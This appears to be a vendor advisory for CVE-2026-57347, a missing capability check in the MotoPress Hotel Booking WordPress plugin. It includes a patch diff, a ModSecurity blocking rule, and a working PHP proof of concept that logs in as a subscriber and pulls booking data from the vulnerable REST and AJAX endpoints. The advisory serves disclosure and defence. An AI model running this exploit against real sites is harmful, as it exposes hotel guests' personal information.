Published : July 20, 2026

CVE-2026-57347: MotoPress Hotel Booking <= 6.0.3 Authenticated (Subscriber+) Information Exposure PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 200
Vulnerable Version 6.0.3
Patched Version 6.0.4
Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57347:

This vulnerability exposes sensitive user or configuration data in the MotoPress Hotel Booking plugin for WordPress, affecting versions up to and including 6.0.3. Authenticated attackers with Subscriber-level access or higher can extract information via the plugin’s REST API endpoints or AJAX actions that lacked proper authorization checks. The CVSS score of 4.3 reflects the authenticated requirement but the potential for data exposure.

Root Cause: The plugin’s REST API controllers for block management (create, delete, update, get, get-blocks) in /includes/advanced/api/controllers/v1/ did not enforce capability checks before processing requests. Each controller defined methods like get_request_methods() but lacked an is_request_allowed() check. Similarly, AJAX actions in /includes/ajax-api/ajax-actions/ such as get-admin-calendar-booking-info and update-booking-notes did not verify user capabilities before executing. The abstract base class abstract-ajax-api-action.php had an isActionForLoggedInUser() method that returned true, but no check for specific capabilities like MANAGE_RULES or VIEW_CALENDAR, allowing any logged-in user to trigger these actions.

Exploitation: An attacker with Subscriber-level credentials can send crafted HTTP requests to the WordPress REST API endpoints under /wp-json/mphb/v1/ (specifically /blocks, /block, /create-block, /delete-block, /delete-blocks, /update-block) with valid nonces or authentication tokens. For AJAX actions, the attacker targets /wp-admin/admin-ajax.php with action parameters like ‘get_admin_calendar_booking_info’ or ‘update_booking_notes’ and accompanying data parameters such as ‘booking_id’. The attacker does not need any special role beyond Subscriber, as no capability checks were enforced on these endpoints.

Patch Analysis: The patch adds explicit capability checks using the CapabilitiesAndRoles class. For REST API controllers, a new is_request_allowed() method calls current_user_can( CapabilitiesAndRoles::MANAGE_RULES ) to restrict access to users with the appropriate rule management permission. For AJAX actions, the patch adds isActionForCurrentUser() methods that check specific capabilities: VIEW_CALENDAR for get-admin-calendar-booking-info and EDIT_BOOKINGS for update-booking-notes. Additionally, the generic isActionForCurrentUser() in the abstract class defaults to the same check as isActionForLoggedInUser(), preserving backward compatibility for actions that don’t need further restriction. The getAjaxActionWPNonces() method now also respects these checks, preventing nonce exposure to unauthorized users.

Impact: Successful exploitation allows an authenticated Subscriber-level attacker to access sensitive booking data including reservation details, guest information, notes, and configuration data. This could expose personal identifiable information (PII) of hotel guests, booking patterns, and internal system configurations. The information exposure could facilitate further attacks such as social engineering, identity theft, or competitive intelligence gathering. The vulnerability does not directly enable privilege escalation or remote code execution, but the exposed data can be valuable for targeted attacks.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/create-block-controller.php
+++ b/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/create-block-controller.php
@@ -6,6 +6,7 @@

 use MPHBAdvancedApiControllersAbstractRestCommandController;
 use MPHBAdvancedApiRestApiSchemaHelper;
+use MPHBUsersAndRolesCapabilitiesAndRoles;

 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
@@ -32,6 +33,13 @@
 		return WP_REST_Server::EDITABLE;
 	}

+	/**
+	 * @return WP_Error|bool
+	 */
+	public static function is_request_allowed( WP_REST_Request $request ) {
+		return current_user_can( CapabilitiesAndRoles::MANAGE_RULES );
+	}
+
 	protected static function get_request_schema(): array {
 		return array(
 			'comment'       => array(
--- a/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/delete-block-controller.php
+++ b/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/delete-block-controller.php
@@ -6,6 +6,7 @@

 use MPHBAdvancedApiControllersAbstractRestCommandController;
 use MPHBAdvancedApiRestApiSchemaHelper;
+use MPHBUsersAndRolesCapabilitiesAndRoles;

 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
@@ -32,6 +33,13 @@
 		return WP_REST_Server::DELETABLE;
 	}

+	/**
+	 * @return WP_Error|bool
+	 */
+	public static function is_request_allowed( WP_REST_Request $request ) {
+		return current_user_can( CapabilitiesAndRoles::MANAGE_RULES );
+	}
+
 	protected static function get_request_schema(): array {
 		return array(
 			'block_id' => array(
--- a/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/delete-blocks-controller.php
+++ b/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/delete-blocks-controller.php
@@ -6,6 +6,7 @@

 use MPHBAdvancedApiControllersAbstractRestCommandController;
 use MPHBAdvancedApiRestApiSchemaHelper;
+use MPHBUsersAndRolesCapabilitiesAndRoles;

 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
@@ -35,6 +36,13 @@
 		return WP_REST_Server::DELETABLE;
 	}

+	/**
+	 * @return WP_Error|bool
+	 */
+	public static function is_request_allowed( WP_REST_Request $request ) {
+		return current_user_can( CapabilitiesAndRoles::MANAGE_RULES );
+	}
+
 	protected static function get_request_schema(): array {
 		return array(
 			'block_ids' => array(
--- a/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/get-block-controller.php
+++ b/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/get-block-controller.php
@@ -6,6 +6,7 @@

 use MPHBAdvancedApiControllersAbstractRestCommandController;
 use MPHBAdvancedApiRestApiSchemaHelper;
+use MPHBUsersAndRolesCapabilitiesAndRoles;

 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
@@ -32,6 +33,13 @@
 		return WP_REST_Server::READABLE;
 	}

+	/**
+	 * @return WP_Error|bool
+	 */
+	public static function is_request_allowed( WP_REST_Request $request ) {
+		return current_user_can( CapabilitiesAndRoles::MANAGE_RULES );
+	}
+
 	protected static function get_request_schema(): array {
 		return array(
 			'block_id' => array(
--- a/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/get-blocks-controller.php
+++ b/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/get-blocks-controller.php
@@ -6,6 +6,7 @@

 use MPHBAdvancedApiControllersAbstractRestCommandController;
 use MPHBAdvancedApiRestApiSchemaHelper;
+use MPHBUsersAndRolesCapabilitiesAndRoles;

 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
@@ -35,6 +36,13 @@
 		return WP_REST_Server::READABLE;
 	}

+	/**
+	 * @return WP_Error|bool
+	 */
+	public static function is_request_allowed( WP_REST_Request $request ) {
+		return current_user_can( CapabilitiesAndRoles::MANAGE_RULES );
+	}
+
 	protected static function get_request_schema(): array {
 		return array(
 			'date_from'    => array(
--- a/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/update-block-controller.php
+++ b/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/update-block-controller.php
@@ -6,6 +6,7 @@

 use MPHBAdvancedApiControllersAbstractRestCommandController;
 use MPHBAdvancedApiRestApiSchemaHelper;
+use MPHBUsersAndRolesCapabilitiesAndRoles;

 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
@@ -32,6 +33,13 @@
 		return WP_REST_Server::EDITABLE;
 	}

+	/**
+	 * @return WP_Error|bool
+	 */
+	public static function is_request_allowed( WP_REST_Request $request ) {
+		return current_user_can( CapabilitiesAndRoles::MANAGE_RULES );
+	}
+
 	protected static function get_request_schema(): array {
 		return array(
 			'block_id'      => array(
--- a/motopress-hotel-booking-lite/includes/ajax-api/ajax-actions/abstract-ajax-api-action.php
+++ b/motopress-hotel-booking-lite/includes/ajax-api/ajax-actions/abstract-ajax-api-action.php
@@ -31,6 +31,14 @@
 		return true;
 	}

+	/**
+	 * <code>isActionForLoggedInUser()</code> runs too early to check the
+	 * current user.
+	 */
+	public static function isActionForCurrentUser(): bool {
+		return static::isActionForLoggedInUser();
+	}
+
 	public static function isActionForGuestUser() {
 		return true;
 	}
--- a/motopress-hotel-booking-lite/includes/ajax-api/ajax-actions/get-admin-calendar-booking-info.php
+++ b/motopress-hotel-booking-lite/includes/ajax-api/ajax-actions/get-admin-calendar-booking-info.php
@@ -2,6 +2,8 @@

 namespace MPHBAjaxApi;

+use MPHBUsersAndRolesCapabilitiesAndRoles;
+
 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
 }
@@ -15,6 +17,10 @@
 		return 'get_admin_calendar_booking_info';
 	}

+	public static function isActionForCurrentUser(): bool {
+		return current_user_can( CapabilitiesAndRoles::VIEW_CALENDAR );
+	}
+
 	public static function isActionForGuestUser() {
 		return false;
 	}
@@ -42,6 +48,9 @@


 	protected static function doAction( array $requestData ) {
+		if ( ! current_user_can( CapabilitiesAndRoles::VIEW_CALENDAR ) ) {
+			throw new Exception( esc_html__( 'Request does not pass security verification. Please refresh the page and try one more time.', 'motopress-hotel-booking' ) );
+		}

 		$booking = MPHB()->getBookingRepository()->findById( $requestData[ static::REQUEST_DATA_BOOKING_ID ] );

--- a/motopress-hotel-booking-lite/includes/ajax-api/ajax-actions/update-booking-notes.php
+++ b/motopress-hotel-booking-lite/includes/ajax-api/ajax-actions/update-booking-notes.php
@@ -17,6 +17,10 @@
 	const REQUEST_DATA_BOOKING_ID = 'booking_id';
 	const REQUEST_DATA_NOTES = 'notes';

+	public static function isActionForCurrentUser(): bool {
+		return current_user_can( CapabilitiesAndRoles::EDIT_BOOKINGS );
+	}
+
 	public static function isActionForGuestUser() {
 		return false;
 	}
--- a/motopress-hotel-booking-lite/includes/ajax-api/ajax-api-handler.php
+++ b/motopress-hotel-booking-lite/includes/ajax-api/ajax-api-handler.php
@@ -30,16 +30,13 @@
 		}

 		foreach ( static::getAjaxActionClassNames() as $ajaxActionClassName ) {
-
 			$ajaxActionName = $ajaxActionClassName::getAjaxActionName();

 			if ( $ajaxActionClassName::isActionForLoggedInUser() ) {
-
 				add_action( 'wp_ajax_' . $ajaxActionName, array( $ajaxActionClassName, 'processAjaxRequest' ) );
 			}

 			if ( $ajaxActionClassName::isActionForGuestUser() ) {
-
 				add_action( 'wp_ajax_nopriv_' . $ajaxActionName, array( $ajaxActionClassName, 'processAjaxRequest' ) );
 			}
 		}
@@ -49,26 +46,23 @@
 	 * @return array of [ action name => wp nonce ]
 	 */
 	public static function getAjaxActionWPNonces() {
-
 		$wpNonces = array();

 		if ( is_user_logged_in() ) {
-
 			foreach ( static::getAjaxActionClassNames() as $ajaxActionClassName ) {
-
-				if ( $ajaxActionClassName::isActionForLoggedInUser() ) {
-
+				if ( $ajaxActionClassName::isActionForLoggedInUser()
+					// Don't expose admin nonces to any user
+					&& $ajaxActionClassName::isActionForCurrentUser()
+				) {
 					$ajaxActionName = $ajaxActionClassName::getAjaxActionName();

 					$wpNonces[ $ajaxActionName ] = wp_create_nonce( $ajaxActionName );
 				}
 			}
-		} else {

+		} else {
 			foreach ( static::getAjaxActionClassNames() as $ajaxActionClassName ) {
-
 				if ( $ajaxActionClassName::isActionForGuestUser() ) {
-
 					$ajaxActionName = $ajaxActionClassName::getAjaxActionName();

 					$wpNonces[ $ajaxActionName ] = wp_create_nonce( $ajaxActionName );
--- a/motopress-hotel-booking-lite/motopress-hotel-booking.php
+++ b/motopress-hotel-booking-lite/motopress-hotel-booking.php
@@ -4,7 +4,7 @@
  * Plugin Name: Hotel Booking Lite
  * Plugin URI: https://motopress.com/products/hotel-booking/
  * Description: Manage your hotel booking services. Perfect for hotels, villas, guest houses, hostels, and apartments of all sizes.
- * Version: 6.0.3
+ * Version: 6.0.4
  * Requires at least: 5.2
  * Requires PHP: 7.4
  * Author: MotoPress

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-57347
# Block unauthorized access to MotoPress Hotel Booking REST API endpoints
SecRule REQUEST_URI "@rx ^/wp-json/mphb/v[0-9]+/blocks?" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57347 - MotoPress Hotel Booking REST API unauthorized access',severity:'CRITICAL',tag:'CVE-2026-57347'"
  SecRule REQUEST_METHOD "@pm GET POST PUT DELETE PATCH" "chain"
    SecRule REQUEST_HEADERS:X-WP-Nonce "@rx ^$" "chain"
      SecRule ARGS_GET:rest_route "@rx ^mphb/v[0-9]+/blocks?" "t:none,chain"
        SecRule TX:0 "@unconditionalMatch" "t:none"

# Block unauthorized access to vulnerable AJAX actions
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2026-57347 - MotoPress Hotel Booking AJAX unauthorized access',severity:'CRITICAL',tag:'CVE-2026-57347'"
  SecRule ARGS_POST:action "@pm get_admin_calendar_booking_info update_booking_notes" "chain"
    SecRule ARGS_POST:booking_id "@gt 0" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57347 - MotoPress Hotel Booking <= 6.0.3 - Authenticated (Subscriber+) Information Exposure

// Configuration - change these values
$target_url = 'http://example.com'; // WordPress installation URL
$username = 'subscriber_user'; // Attacker's subscriber-level username
$password = 'subscriber_pass'; // Attacker's subscriber-level password

// Step 1: Authenticate and get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$login_result = curl_exec($ch);
curl_close($ch);

echo "[+] Authentication step completed.n";

// Step 2: Get WordPress nonce for REST API
$rest_nonce_url = $target_url . '/wp-admin/admin-ajax.php?action=rest-nonce';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_nonce_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$rest_nonce = curl_exec($ch);
curl_close($ch);

echo "[+] REST nonce: " . $rest_nonce . "n";

// Step 3: Exploit REST API endpoint - Get blocks (booking data)
$rest_url = $target_url . '/wp-json/mphb/v1/get-blocks';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'X-WP-Nonce: ' . $rest_nonce,
    'Content-Type: application/json'
));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "[+] Data retrieved successfully:n";
    $data = json_decode($response, true);
    print_r($data);
} else {
    echo "[-] Failed to retrieve data. HTTP code: " . $http_code . "n";
    echo "[-] Response: " . $response . "n";
}

// Step 4: Attempt to access admin calendar booking info via AJAX
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_action = 'get_admin_calendar_booking_info';
$ajax_data = array(
    'action' => $ajax_action,
    'booking_id' => 1, // Example booking ID
    '_wpnonce' => $rest_nonce
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$ajax_response = curl_exec($ch);
$ajax_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "n[+] AJAX endpoint response (HTTP $ajax_http_code):n";
echo $ajax_response;
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.